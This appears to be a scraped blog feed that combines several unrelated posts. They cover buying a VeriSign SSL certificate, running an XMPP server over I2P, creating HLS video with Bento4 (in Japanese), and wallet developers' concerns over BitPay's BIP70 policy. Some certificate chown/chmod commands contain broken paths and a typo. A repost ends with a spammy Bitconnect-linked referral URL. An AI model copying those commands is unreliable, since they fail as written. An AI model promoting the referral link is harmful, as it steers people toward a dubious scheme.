sure your whois information can be publicly accessed by whois.net If you have private-registration, you MUST turn it off prior to applying for the SSL certificate. You'll be able to turn private-registration back on once the certificate is approved. Step 3 - Generate private key Login to your server via Telnet or SSH and run this command:

openssl genrsa -out www.mydomain.com.key 1024

Replace mydomain.com with your target domain name. You'll be asked to choose a password. Pick any password - it is only used throughout the registration process. Now enter this command:

openssl req -new -key www.mydomain.com.key -out www.mydomain.com.csr

Again replace mydomain.com with your target domain name. You'll be asked to provide the country, state, company name and domain name. Make sure you use the EXACT same information as what whois.net shows for your domain. Make sure you include the www.mydomain.com and not just mydomain.com. Step 4 - Buy Certificate Visit VeriSign at http://www.verisign.com/ssl/buy-ssl-...tes/index.html and click on the Buy button under Secure Site (bottom right box) Unless requested otherwise, select 1 year and uncheck "Extended Validation SSL" and "Ensure Strongest Encryption". Cost should be $399/year. Under Technical details - enter your information - so that you can receive communications regarding this certificate request as it goes through processing. When asked to choose a server type - select Apache. VeriSign will ask you to paste the www.mydomain.com.csr file you previously generated. Step 5 - Update Contacts I listed this as a separate step because people often mess it up - Step 4 of buying a certificate on VeriSign is titled "Contacts". As part of this step, make sure the organizational contact, address and details match your whois records. When we register certificates at SoftwareProjects, we always list our contact information under Technical contact and the client contact information under the organizational contact. The organizational contact MUST have an email-address under the target domain. So if you are registering mydomain.com, it is vital that you use [email protected] as the organizational contact email-address. - If you've followed all steps, you can now complete the process and submit the SSL certificate request. VeriSign will contact you (technical contact email address) if they need any additional documentation to approve the request. Once approved, you will be provided with the certificate files which can then be installed into your web server. Did you know? When you buy ssl certificate with SoftwareProjects, setup, coordinating with VeriSign and installation of the certificate on your server is included.

Comments

Mike Peters 2009-01-04

Important thing to note about VeriSign - All certificate requests and most renewals require manual approval and VeriSign offices are closed Saturday and Sunday. Plan on 2 business days to get a certificate approved and avoid waiting for the last minute.

Dawn Rossi 2009-06-22

A cheap alternative to VeriSign, that is also supported on all browsers is Thawte [URL="https://www.thawte.com/process/retail/new_ssl?language=en&productInfo.productType=ssl3"]https://www.thawte.com/process/retail/new_ssl?language=en&productInfo.productType=ssl3[/URL] We used their $249 SSL Web certificate on a few servers and have been happy with it (no compatibility issues)

SICS 2009-10-04

Great Article

Steven Scott 2010-01-18

Important note: when generating the CSR file, when it asks for the Common Name, you must not enter YOUR name, but the DOMAIN name (ex: www.domain.com).

Jeremiah Gloria 2011-09-25

Love

eze joy 2015-03-15

Please I want to register Ssl,and write the ssl test.please how do I go about it

#online

0 notes

ckstechnologynews-blog · 7 years ago

Text

Building decentralized messenger run by users instead of corporations is definitely now new but thanks to XMPP and I2P (Invisible Internet Protocol) it’s easier than ever before. XMPP needs to have a server running with a registered domain name which is compared to P2P, not the best solution you can get but we can run our server software on a local host and use virtual I2P network for connecting with other servers. The used .i2p address comes here in handy to ‘replace’ a real domain name, plus it gives us advanced protection against illegal dragnet surveillance.

I2P logo. Picture Source: geti2p.net

What we’re trying to archive?

A messenger, which can be run both on end-user devices and on high-performance server infrastructure.

End-user applications should be connectable like eg. desktop, mobile, web.

Censorship resistance and advanced privacy protection as a bonus from using I2P.

Offline message delivery, “cloud storage” for history and contacts, using one account on multiple devices. The stuff which P2P simply can’t give us.

A free open source solution which can easier be inspected in order to find possible problems.

You can use OTR as crypto protocol in order to provide strong encryption for your instant messaging conversations. A lot of IM’s have plugins in order to use OTR or you can download a plugin for it.

Requirements

I2P, you can use I2pd (documentation)

Prosody as XMPP server (documentation)

bit32 libaries for lua >5.2

mod_darknet

A XMPP client like Pidgin with OTR

(optional) For Android Conersations or for iOS ChatSecure other messaging clients are listed here

Installing the I2P client

First, you need to install i2pd, after this is done we’re going to create a server I2P tunnel which provides us with a virtual .i2p address, this address will be used in the world to reach our XMPP server.

tunnels.conf

[prosody-s2s] type=server host=127.0.0.1 port=5269 inport=5269 keys=prosody.dat

[prosody-c2s] type=server host=127.0.0.1 port=5222 inport=5222 keys=prosody.dat

Alternative if you like to run your messenger only on a local host, set within the webconsole the address to http://127.0.0.1:7070/. After every change, you need to restart i2pd.

Example address in our webconsole. Save your xxx.b32.i2p address, it will be a domain name of your own XMPP server.

Installing our XMPP server

We will use prosody as XMPP server, it is the most lightweight and has ready to use module for I2P. Installation instructions are available at official documentation, in Ubuntu or Ubuntu you can just run apt install prosody. On Windows you have to use a fork since the download binaries are no longer provided.

We need to install the mod_darknet module, which is required so that prosody could make outgoing connections with I2P Socks5 proxy. Download this file to prosody modules directory, usually, it is /usr/lib/prosody/modules.

Edit config file /etc/prosody/prosody.cfg.lua. Replace xxx.b32.i2p with your address:

interfaces = { "127.0.0.1" }; admins = { "[email protected]" }; modules_enabled = { "roster"; "saslauth"; "tls"; "dialback"; "disco"; "posix"; "private"; "vcard"; "register"; "admin_adhoc"; "darknet"; }; modules_disabled = {}; allow_registration = false; darknet_only = true; c2s_require_encryption = true; s2s_secure_auth = false; authentication = "internal_plain";

On Debian/Ubuntu daemonize = true; pidfile = "/var/run/prosody/prosody.pid"; log = { error = "/var/log/prosody/prosody.err"; "*syslog"; } certificates = "certs";

VirtualHost "xxx.b32.i2p"; ssl = { key = "/etc/prosody/certs/xxx.b32.i2p.key"; certificate = "/etc/prosody/certs/xxx.b32.i2p.crt"; }

The last step is the certificate generation by running the following: openssl genrsa -out /etc/prosody/certs/xxx.b32.i2p.key 2048 openssl req -new -x509 -key /etc/prosody/certs/xxx.b32.i2p.key -out /etc/prosody/certs/xxx.b32.i2p.crt -days 3650 chown root:prosody /etc/prosody/certs/.b32.i2p.{key,crt} chmod 640 /etc/prosody/certs/.b32.i2p.{key,crtt}

You need to add then an admin account via prosodyctl adduser [email protected] and restart prosody.

Localhost:

Specify custom server address to: 127.0.0.1 port 5222

Via I2P:

Set your remote address to: 127.0.0.1 port 4447

If everything is configured correctly, you will be able add other users of I2P federation to your contacts and chat with them and you can test your setup with adding a contact and send it ‘hello’ (or whatever you like) hello@xmpp<yourID>.b32.i2p.

Closing Words

It’s not hard to setup your own XMPP server, the documentation is very detailed and you only need to change the configuration file, same goes for I2P it’s all about the configuration. Try and error if you’re beginner but I hope I explained the guide good enough to get a first start in to the XMPP and I2P world.

Windows users need alternative forks but the configuration is except the certificate genration exactly the same. They usually have a button to generate a certificate automatically.

Everything else is self explaining and you can now chat secure over I2P. If you have a PI I suggest you run your XMPP server on it, in order to avoid wasting much energy since you like to be available all the time.

Enjoy your secure chat!

How To use XMPP + I2P to build your own decentralized messenger Building decentralized messenger run by users instead of corporations is definitely now new but thanks to…

#Android #I2P #I2pd #Linux #macOS #Prosody #tutorial #XMPP

0 notes

awsexchage · 7 years ago

Photo

Video on demand (VOD) HLSをPCで作成 https://ift.tt/2GbSBeU

こんにちは、動画チームのhagi＠streampackです。

はじめに

今回は”Video on demand (VOD) HLSをPCで作成”について書きたいと思います。 mp4をそのまま置いてプログレッシブダウンロードでVODを提供することもできますが、HLSにしてABRや暗号化と組み合わせることでダウンロードをめんどくさくすることが可能な上、再配布も簡単にできないようにすることができます。

環境

配信について

HLSは特別な配信サーバーは必要ないです。インターネットからアクセスできてプレイヤーが必要なファイルをダウンロードできれば再生できます。

今回は配信環境はs3としますがwebサーバーであれば配信可能です。

HLSの作成

ffmpeg、mediafilesegmenter(OSX)、Media Converter(AWS)などありますが今回は”簡単”に”ローカルPC”で作成という自己テーマなので簡単に利用できるツールと思い、そこでWindows/Mac/Linux用バイナリやソースコードがあるbento4を使います。

動画のHLS作成環境はMAC(OSX)としていますが他のOSでも大きく変わらないと思います。

bento4の準備

bento4とは

bento4(https://www.bento4.com)

A fast, modern, open source C++ toolkit for all your MP4 and MPEG DASH media format needs

要約：MP4とMPEG DASH用のツールキット

あれ、HLSは？

HLSについてはこちらに記述

While Bento4 is an MP4 file format library, and HLS uses the MPEG2 TS (Transport Stream) format, Bento4 includes a set of tools and functions that allow the conversion from MP4 to MPEG2 TS, as well as tools to create the .m3u8 playlists for HLS (HTTP Live Streaming).

意訳：MP4からMPEG2 TSの変換もできるのでHLSもできますよー

ただし入力ファイルはMP4である必要がある。

bento4のインストール

ダウンロードページに行く https://www.bento4.com/downloads/

OSに対応したパッケージをダウンロードする(今回はMAC OSX用）

ダウンロードしたzipファイルを解凍

以上

mp4のhls化

上記で解凍したパッケージにはbinフォルダーがあり、いくつものコマンドが準備されています。各コマンドの一覧や詳細はこちらをご参照ください。

例：

Bento4-SDK-1-5-1-622.universal-apple-macosx/bin aac2mp4 mp42avc mp42ts mp4dashclone mp4dump mp4extract mp4iframeindex mp4rtphintinfo libBento4C.dylib mp42hevc mp4compact mp4dcfpackager mp4edit mp4fragment mp4info mp4split mp42aac mp42hls mp4dash mp4decrypt mp4encrypt mp4hls mp4mux mp4tag

HLS化で利用するのが mp42hlsです。

Usage

usage: mp42hls [options]

一番簡単な使い方が

HLSの格納フォルダーを作成 – コマンド実行場所が格納場所となってしまうため。 $ mkdir <dir>

作成したフォルダーに移動 $ cd <dir>

コマンド実行 $ mp42hls <動画>

例：

$ mkdir demohls $ cd demohls $ ../Downloads/Bento4-SDK-1-5-1-622.universal-apple-macosx/bin/mp42hls ../Downloads/Videos/demovid.mp4 $ ls segment-0.ts segment-1.ts segment-2.ts segment-3.ts segment-4.ts segment-5.ts segment-6.ts segment-7.ts stream.m3u8

作成されたファイルについて

コマンドを実行しますと下記のファイルが作成されます。

segment-0.ts segment-1.ts segment-2.ts segment-3.ts segment-4.ts segment-5.ts segment-6.ts segment-7.ts stream.m3u8

*.m3u8 – プレイリスト *.ts – mpeg2 ts データファイル

プレイリスト

#EXTM3U #EXT-X-VERSION:3 #EXT-X-PLAYLIST-TYPE:VOD #EXT-X-INDEPENDENT-SEGMENTS #EXT-X-TARGETDURATION:7 #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:7.382375, segment-0.ts #EXTINF:6.965292, segment-1.ts #EXTINF:7.090417, segment-2.ts #EXTINF:6.923583, segment-3.ts #EXTINF:6.923583, segment-4.ts #EXTINF:7.173833, segment-5.ts #EXTINF:7.007000, segment-6.ts #EXTINF:0.959292, segment-7.ts #EXT-X-ENDLIST

プレイリストには動画再生の順番や各ファイルの再生時間が記述されています。プレイヤーはこのファイルの情報を元に動画を再生します。

ts データファイル

分割されたデータファイルです。

配信

1.プレイリスト+tsファイルを全てs3にアップロードします。　　　　場合によってはPublicにするのを忘れずに 2.プレーヤーにアップロードされたs3のプレイリストを指定します。(Safariであればそのまま再生ができるはずです。)

https://s3-ap-northeast-1.amazonaws.com/XXXXXXXX/demo/segment.m3u8

オプション例

AES-128暗号化を利用したい

フォーマット

mp42hls --encryption-key <key hexvalue> --encryption-key-uri <key location> <video name>

実行例

$ mp42hls --encryption-key 47de45c1b3931ab8baf4f7394bbecc02 --encryption-key-uri demo.key demovid.mp4 $ ls demo.key segment-0.ts segment-1.ts segment-10.ts segment-2.ts segment-3.ts segment-4.ts segment-5.ts segment-6.ts segment-7.ts segment-8.ts segment-9.ts stream.m3u8

マニフェスト内容

EXT-X-KEYにAES-128と鍵のURIが記述されていることを確認

$ cat stream.m3u8 #EXTM3U #EXT-X-VERSION:3 #EXT-X-PLAYLIST-TYPE:VOD #EXT-X-INDEPENDENT-SEGMENTS #EXT-X-TARGETDURATION:10 #EXT-X-MEDIA-SEQUENCE:0 #EXT-X-KEY:METHOD=AES-128,URI="demo.key" #EXTINF:6.715042, segment-0.ts #EXTINF:6.506500, segment-1.ts #EXTINF:8.133125, segment-2.ts #EXTINF:6.965292, segment-3.ts #EXTINF:6.464792, segment-4.ts #EXTINF:10.093417, segment-5.ts #EXTINF:6.506500, segment-6.ts #EXTINF:6.589917, segment-7.ts #EXTINF:6.673333, segment-8.ts #EXTINF:6.339667, segment-9.ts #EXTINF:7.507500, segment-10.ts #EXT-X-ENDLIST

AES-128鍵の作成方法

いくつもの方法があると思いますがここではopensslでの作成方法を記述いたします。

適当な16byteの値を使って鍵を作成

$ openssl rand 16 > demo.key

鍵のhex値を確認

＄ xxd -ps demo.key 47de45c1b3931ab8baf4f7394bbecc02

ファイル名を指定したい

マニフェストのみ

フォーマット

$ mp42hls --index-filename <manifest filename>.m3u8 <video name>

実行例

$ mp42hls --index-filename demomanifest.m3u8 demovid.mp4 $ ls demomanifest.m3u8 segment-0.ts segment-10.ts segment-3.ts segment-5.ts segment-7.ts segment-9.ts demovid.mp4 segment-1.ts segment-2.ts segment-4.ts segment-6.ts segment-8.ts

マニフェスト+データファイル名

フォーマット

$ mp42hls --index-filename <manifest filename>.m3u8 --segment-filename-template <segment filename>.%d.ts --segment-url-template <segment filename>.%d.ts <video name>

実行例

$ mp42hls --index-filename demomanifest.m3u8 --segment-filename-template demoseg%d.ts --segment-url-template demoseg%d.ts demovid.mp4 $ ls demomanifest.m3u8 demoseg1.ts demoseg2.ts demoseg4.ts demoseg6.ts demoseg8.ts demovid.mp4 demoseg0.ts demoseg10.ts demoseg3.ts demoseg5.ts demoseg7.ts demoseg9.ts

マニフェスト内容

#EXTM3U #EXT-X-VERSION:3 #EXT-X-PLAYLIST-TYPE:VOD #EXT-X-INDEPENDENT-SEGMENTS #EXT-X-TARGETDURATION:10 #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:6.715042, demoseg0.ts #EXTINF:6.506500, demoseg1.ts #EXTINF:8.133125, demoseg2.ts #EXTINF:6.965292, demoseg3.ts #EXTINF:6.464792, demoseg4.ts #EXTINF:10.093417, demoseg5.ts #EXTINF:6.506500, demoseg6.ts #EXTINF:6.589917, demoseg7.ts #EXTINF:6.673333, demoseg8.ts #EXTINF:6.339667, demoseg9.ts #EXTINF:7.507500, demoseg10.ts #EXT-X-ENDLIST

segment長を指定したい

フォーマット

$ mp42hls --index-filename <manifest filename>.m3u8 --segment-filename-template <segment filename>.%d.ts --segment-url-template <segment filename>.%d.ts --segment-duration <segment length>　<video name>

実行例

$ mp42hls --index-filename demomanifest.m3u8 --segment-filename-template demoseg%d.ts --segment-url-template demoseg%d.ts --segment-duration 18 demovid.mp4 $ ls demomanifest.m3u8 demoseg0.ts demoseg1.ts demoseg2.ts demoseg3.ts demoseg4.ts demovid.mp4

マニフェスト内容

EXT-X-TARGETDURATIONをご確認ください。

$ cat demomanifest.m3u8 #EXTM3U #EXT-X-VERSION:3 #EXT-X-PLAYLIST-TYPE:VOD #EXT-X-INDEPENDENT-SEGMENTS #EXT-X-TARGETDURATION:19 #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:18.226542, demoseg0.ts #EXTINF:18.435083, demoseg1.ts #EXTINF:18.184833, demoseg2.ts #EXTINF:19.936583, demoseg3.ts #EXTINF:3.712042, demoseg4.ts #EXT-X-ENDLIST

最後に

VODのHLS化はだいぶハードルが下がりmp4同様にウェブサーバーからの配信が可能です。 s3から配信すれば設定すらほぼいらずとなります。

またBento4はHLS作成以外にもMP4を操作して動画と音声を分けたり、MPEG-DASHを作成したり、動画に音声をつけたりも可能です。

https://www.bento4.com/documentation/

ぜひお試しください！

元記事はこちら

「Video on demand (VOD) HLSをPCで作成」

March 27, 2018 at 12:00PM

#AWS #Official #Blog

0 notes

bitcoin24on · 7 years ago

Link

#bitcoin # invest #money [bitcoin24on.blogspot.com]

On December 14, 2017, BitPay announced a first step toward enforcing the payment protocol: All orders of the BitPay Card will require payments from Payment Protocol-compatible wallets, such as BitPay’s own wallet and a few others. This announcement came after an initial notice in November 2017, when BitPay first announced that BitPay invoices would soon require payments from wallets compatible with the Bitcoin Payment Protocol.

BitPay’s move has since been met with resistance by some wallet developers that don’t support the Bitcoin Payment Protocol; some are suggesting that BitPay is abusing its leading position in the payment processing space and putting user security at risk.

“We absolutely do not support BitPay in aggressively using their dominant position of market share to bully wallet providers into supporting their business plans or bully users into a system that degrades their privacy and the fungibility of bitcoin as a whole,” stated bitcoin wallet Samourai in its blog post of January 2, 2018.

The Bitcoin Payment Protocol (BIP70), proposed by Gavin Andresen and Mike Hearn in 2013, describes a protocol for communication between a merchant and their customer, “enabling both a better customer experience and better security against man-in-the-middle attacks on the payment process.” A detailed explanation of the details of the payment protocol, written by Mike Hearn in Q/A format, is available on the Bitcoin forum.

According to BitPay, the Payment Protocol will reduce user error in bitcoin payments, such as payments sent to a wrong address or with a transaction fee that is too low for fast processing by the Bitcoin network.

“We answer thousands of customer support requests every month, and we see first-hand how these problems affect BitPay merchants and their customers,” notes BitPay, adding that if two wallets both "speak" Payment Protocol, the correct receiving bitcoin address and the correct sending amount are locked in automatically by creating an SSL-secured connection to the true owner of the receiving bitcoin address. Instead of cryptic Bitcoin addresses, the protocol uses human readable identifiers, which are then mapped to Bitcoin addresses.

“Our next step will be requiring Payment Protocol payments for all BitPay Card loads,” stated BitPay. “From there, we will move to require Payment Protocol for all BitPay invoices ... We continue to work with other wallet providers in the Bitcoin ecosystem to advance adoption of the Bitcoin Payment Protocol. We're encouraged by the response we have received. Widespread adoption of Payment Protocol will immediately improve the bitcoin payment experience.”

According to a list provided on the BitPay website, Copay, Mycelium and Electrum wallets, along with Bitcoin Core, support Payment Protocol payments. “These true bitcoin wallets all already ‘speak’ Payment Protocol,” stated BitPay. “If you are using a non-Payment Protocol wallet or service to pay BitPay invoices, you will need to move your spending bitcoin to a wallet or service which can support Payment Protocol. We strongly recommend that you use a true bitcoin wallet for spending to avoid delayed transactions, but you will be able to use any service compatible with Payment Protocol.”

This list, however, is out-of-date. Bitcoin Magazine reached out to several other wallets to verify their status.

“Our currently released app Airbitz does support BIP70 and has since 2015,” Paul Puey, Co-Founder and CEO of AirBitz (recently rebranded as Edge), told Bitcoin Magazine. “Edge Wallet (currently in beta) will support BIP70 in a future production version.” BitPay currently lists Airbitz as not supporting BIP70.

Bread also has supported BIP70 since 2015, contrary to information supplied on BitPay’s list.

Security Concerns

One of the most outspoken opponents of this policy shift has been Samourai Wallet.

“We have to be very clear here,” Samourai stated bluntly in its recent blog post. “Samourai Wallet will not support BIP70 in our products, therefore, our wallet users will NOT be able to send bitcoin to QR codes generated by BitPay invoices, as they do not provide a valid Bitcoin address.”

According to Samourai, BIP70 “remains largely unadopted by the majority of wallet and service providers” due to many security and privacy concerns, including the required support of legacy public-key infrastructure features with known vulnerabilities, such as OpenSSL and Heartbleed.

Indeed, the recent revelations about Meltdown and Spectre have created additional security concerns among some critics.

“Meltdown/Spectre greatly increase the risk of keys being stolen from memory,” James Hilliard, developer and MyRig engineer, told Bitcoin Magazine, “since they are side-channel attacks that allow processes to spy on the memory other processes (wallet private keys generally have to go into memory at some point in order to sign the transaction).”

“We do share some of the concerns but do not feel as strongly as Samourai Wallet,” said Puey. “In the case of the acquisition of a payment QR code from a website, one is already trusting SSL public key infrastructure to know that a public address is from the owner. Adding BIP70 to that makes it no worse. However, if one is doing a peer-to-peer transaction between two wallets that are physically next to each other, there is no need to rely on an https server query to obtain a public address, and that process absolutely introduces more risk than necessary.”

Many bitcoin wallets, including Coinbase and Jaxx, don’t support BIP70 at the moment. Others, like Airbitz and its upcoming Edge, support BIP70 but less enthusiastically than BitPay.

Addison Cameron-Huff is President of Decentral, the company that develops the Jaxx wallet. Referring to BitPay’s statement that BIP70 does for Bitcoin what secured web-browsing (HTTPS) did for the internet, he told Bitcoin Magazine, “I think BitPay is overstating the case for BIP70. It’s also a bit misleading to refer to BIPs as ‘standards,’” adding that the “BIP” acronym stands for “Bitcoin Improvement Proposal,” not “Bitcoin Improvement Standard.”

“Not showing addresses is a big change in how people use Bitcoin, and, as of January 2018, I think it’s premature to force this change ecosystem-wide, but BitPay is only insisting upon this for people who want to use BitPay,” continued Cameron-Huff. “We’ll see over the coming months how this change affects their user base and whether alternative payment processing firms win marketshare (or don't). Ultimately, the cryptocurrency world is one in which the best products and proposals tend to win out in the market, and only time will tell whether this was a good decision for BitPay and more importantly: a good decision for the Bitcoin community.”

“We have had multiple conversations with BitPay and have expressed our concerns with the BIP70 protocol including unnecessary complications that do not truly solve the problems presented,” said Puey. “We feel that extensions to the BIP21 spec could have been implemented that would have achieved the same goals that BitPay desired without the added complications, centralization or SSL security implications.”

“While we intend to continue supporting BIP70 we do NOT recommend that providers use it or require it to receive payment and instead pursue extensions to BIP21 instead,” concluded Puey. “We have experienced a multitude of issues with BitPay's support of BIP70 including their own servers being unable to provide payment information through the provided payment URL causing wallets to fallback to BIP21-style payments if capable.”

Future Adoption

Bread wallet CMO Aaron Lasher told Bitcoin Magazine that while Bread already supports BIP70, the company has plans to “make it work with BitPay in an upcoming release.” He emphasized that it will be important to maintain the wallet’s core functionality and ensure that its high level of privacy remains.

“Bread is a consumer-focused wallet, so we support anything at face value that improves or simplifies the user experience, provided we are able to maintain sufficient privacy and financial control on behalf of our users.”

Similarly, Cameron-Huff explained that while Jaxx doesn’t currently support BIP70, if BIP70 becomes an actual widely adopted standard, then Jaxx will enable it for users.

“We will be keeping an eye on this change with BitPay and other large blockchain ecosystem organizations,” concluded Cameron-Huff. “We are always looking to improve Jaxx but also have to balance this with not forcing changes upon our users or implementing hasty changes that might cause a negative experience for our 600,000 users.”

A representative from the hardware wallet Ledger told Bitcoin Magazine, “We do not plan yet to support BIP70 directly in our wallet as it'd only make sense if we could offer an end-to-end support to the hardware wallet which is not doable yet, considering the complexity of this protocol.”

Ledger added that it might support it through a translating gateway later in the future while keeping users aware of the extra risks. Like Airbitz/Edge, the company expressed a preference for BIP21.

“Security wise, we also believe that BIP70 is not in a great state today (not supporting ECDSA certificates, duplicating standard PKI issues where users have to authenticate possible rogue certificates, possibly forcing public authentication cookies on users through specific outputs) and would appreciate if all payment providers could keep offering regular BIP21 URLs for interoperability.”

The post Wallet Developers Express Security Concerns Over BitPay’s Payment Protocol Policy appeared first on Bitcoin Magazine.

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mylenejgarcia · 7 years ago

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Wallet Developers Express Security Concerns Over BitPay’s Payment Protocol Policy On December 14, 2017, BitPay announced a first step toward enforcing the payment protocol: All orders of the BitPay Card will require payments from Payment Protocol-compatible wallets, such as BitPay’s own wallet and a few others. This announcement came after an initial notice in November 2017, when BitPay first announced that BitPay invoices would soon require payments from wallets compatible with the Bitcoin Payment Protocol. BitPay’s move has since been met with resistance by some wallet developers that don’t support the Bitcoin Payment Protocol; some are suggesting that BitPay is abusing its leading position in the payment processing space and putting user security at risk. “We absolutely do not support BitPay in aggressively using their dominant position of market share to bully wallet providers into supporting their business plans or bully users into a system that degrades their privacy and the fungibility of bitcoin as a whole,” stated bitcoin wallet Samourai in its blog post of January 2, 2018. The Bitcoin Payment Protocol (BIP70), proposed by Gavin Andresen and Mike Hearn in 2013, describes a protocol for communication between a merchant and their customer, “enabling both a better customer experience and better security against man-in-the-middle attacks on the payment process.” A detailed explanation of the details of the payment protocol, written by Mike Hearn in Q/A format, is available on the Bitcoin forum. According to BitPay, the Payment Protocol will reduce user error in bitcoin payments, such as payments sent to a wrong address or with a transaction fee that is too low for fast processing by the Bitcoin network. “We answer thousands of customer support requests every month, and we see first-hand how these problems affect BitPay merchants and their customers,” notes BitPay, adding that if two wallets both “speak” Payment Protocol, the correct receiving bitcoin address and the correct sending amount are locked in automatically by creating an SSL-secured connection to the true owner of the receiving bitcoin address. Instead of cryptic Bitcoin addresses, the protocol uses human readable identifiers, which are then mapped to Bitcoin addresses. “Our next step will be requiring Payment Protocol payments for all BitPay Card loads,” stated BitPay. “From there, we will move to require Payment Protocol for all BitPay invoices … We continue to work with other wallet providers in the Bitcoin ecosystem to advance adoption of the Bitcoin Payment Protocol. We’re encouraged by the response we have received. Widespread adoption of Payment Protocol will immediately improve the bitcoin payment experience.” According to a list provided on the BitPay website, Copay, Mycelium and Electrum wallets, along with Bitcoin Core, support Payment Protocol payments. “These true bitcoin wallets all already ‘speak’ Payment Protocol,” stated BitPay. “If you are using a non-Payment Protocol wallet or service to pay BitPay invoices, you will need to move your spending bitcoin to a wallet or service which can support Payment Protocol. We strongly recommend that you use a true bitcoin wallet for spending to avoid delayed transactions, but you will be able to use any service compatible with Payment Protocol.” This list, however, is out-of-date. Bitcoin Magazine reached out to several other wallets to verify their status. “Our currently released app Airbitz does support BIP70 and has since 2015,” Paul Puey, Co-Founder and CEO of AirBitz (recently rebranded as Edge), told Bitcoin Magazine. “Edge Wallet (currently in beta) will support BIP70 in a future production version.” BitPay currently lists Airbitz as not supporting BIP70. Bread also has supported BIP70 since 2015, contrary to information supplied on BitPay’s list. Security Concerns One of the most outspoken opponents of this policy shift has been Samourai Wallet. “We have to be very clear here,” Samourai stated bluntly in its recent blog post. “Samourai Wallet will not support BIP70 in our products, therefore, our wallet users will NOT be able to send bitcoin to QR codes generated by BitPay invoices, as they do not provide a valid Bitcoin address.” According to Samourai, BIP70 “remains largely unadopted by the majority of wallet and service providers” due to many security and privacy concerns, including the required support of legacy public-key infrastructure features with known vulnerabilities, such as OpenSSL and Heartbleed. Indeed, the recent revelations about Meltdown and Spectre have created additional security concerns among some critics. “Meltdown/Spectre greatly increase the risk of keys being stolen from memory,” James Hilliard, developer and MyRig engineer, told Bitcoin Magazine, “since they are side-channel attacks that allow processes to spy on the memory other processes (wallet private keys generally have to go into memory at some point in order to sign the transaction).” “We do share some of the concerns but do not feel as strongly as Samourai Wallet,” said Puey. “In the case of the acquisition of a payment QR code from a website, one is already trusting SSL public key infrastructure to know that a public address is from the owner. Adding BIP70 to that makes it no worse. However, if one is doing a peer-to-peer transaction between two wallets that are physically next to each other, there is no need to rely on an https server query to obtain a public address, and that process absolutely introduces more risk than necessary.” Many bitcoin wallets, including Coinbase and Jaxx, don’t support BIP70 at the moment. Others, like Airbitz and its upcoming Edge, support BIP70 but less enthusiastically than BitPay. Addison Cameron-Huff is President of Decentral, the company that develops the Jaxx wallet. Referring to BitPay’s statement that BIP70 does for Bitcoin what secured web-browsing (HTTPS) did for the internet, he told Bitcoin Magazine, “I think BitPay is overstating the case for BIP70. It’s also a bit misleading to refer to BIPs as ‘standards,’” adding that the “BIP” acronym stands for “Bitcoin Improvement Proposal,” not “Bitcoin Improvement Standard.” “Not showing addresses is a big change in how people use Bitcoin, and, as of January 2018, I think it’s premature to force this change ecosystem-wide, but BitPay is only insisting upon this for people who want to use BitPay,” continued Cameron-Huff. “We’ll see over the coming months how this change affects their user base and whether alternative payment processing firms win marketshare (or don’t). Ultimately, the cryptocurrency world is one in which the best products and proposals tend to win out in the market, and only time will tell whether this was a good decision for BitPay and more importantly: a good decision for the Bitcoin community.” “We have had multiple conversations with BitPay and have expressed our concerns with the BIP70 protocol including unnecessary complications that do not truly solve the problems presented,” said Puey. ��We feel that extensions to the BIP21 spec could have been implemented that would have achieved the same goals that BitPay desired without the added complications, centralization or SSL security implications.” “While we intend to continue supporting BIP70 we do NOT recommend that providers use it or require it to receive payment and instead pursue extensions to BIP21 instead,” concluded Puey. “We have experienced a multitude of issues with BitPay’s support of BIP70 including their own servers being unable to provide payment information through the provided payment URL causing wallets to fallback to BIP21-style payments if capable.” Future Adoption Bread wallet CMO Aaron Lasher told Bitcoin Magazine that while Bread already supports BIP70, the company has plans to “make it work with BitPay in an upcoming release.” He emphasized that it will be important to maintain the wallet’s core functionality and ensure that its high level of privacy remains. “Bread is a consumer-focused wallet, so we support anything at face value that improves or simplifies the user experience, provided we are able to maintain sufficient privacy and financial control on behalf of our users.” Similarly, Cameron-Huff explained that while Jaxx doesn’t currently support BIP70, if BIP70 becomes an actual widely adopted standard, then Jaxx will enable it for users. “We will be keeping an eye on this change with BitPay and other large blockchain ecosystem organizations,” concluded Cameron-Huff. “We are always looking to improve Jaxx but also have to balance this with not forcing changes upon our users or implementing hasty changes that might cause a negative experience for our 600,000 users.” A representative from the hardware wallet Ledger told Bitcoin Magazine, “We do not plan yet to support BIP70 directly in our wallet as it’d only make sense if we could offer an end-to-end support to the hardware wallet which is not doable yet, considering the complexity of this protocol.” Ledger added that it might support it through a translating gateway later in the future while keeping users aware of the extra risks. Like Airbitz/Edge, the company expressed a preference for BIP21. “Security wise, we also believe that BIP70 is not in a great state today (not supporting ECDSA certificates, duplicating standard PKI issues where users have to authenticate possible rogue certificates, possibly forcing public authentication cookies on users through specific outputs) and would appreciate if all payment providers could keep offering regular BIP21 URLs for interoperability.” The post Wallet Developers Express Security Concerns Over BitPay’s Payment Protocol Policy appeared first on Bitcoin Magazine. from My Bitconnect Journey https://bitcoinmagazine.com/articles/wallet-developers-express-security-concerns-over-bitpays-payment-protocol-policy/ via Bitcoin News https://fs.bitcoinmagazine.com/img/images/bitpayBIP70.width-800.jpg REGISTER HERE: http://bit.ly/goN4bcc

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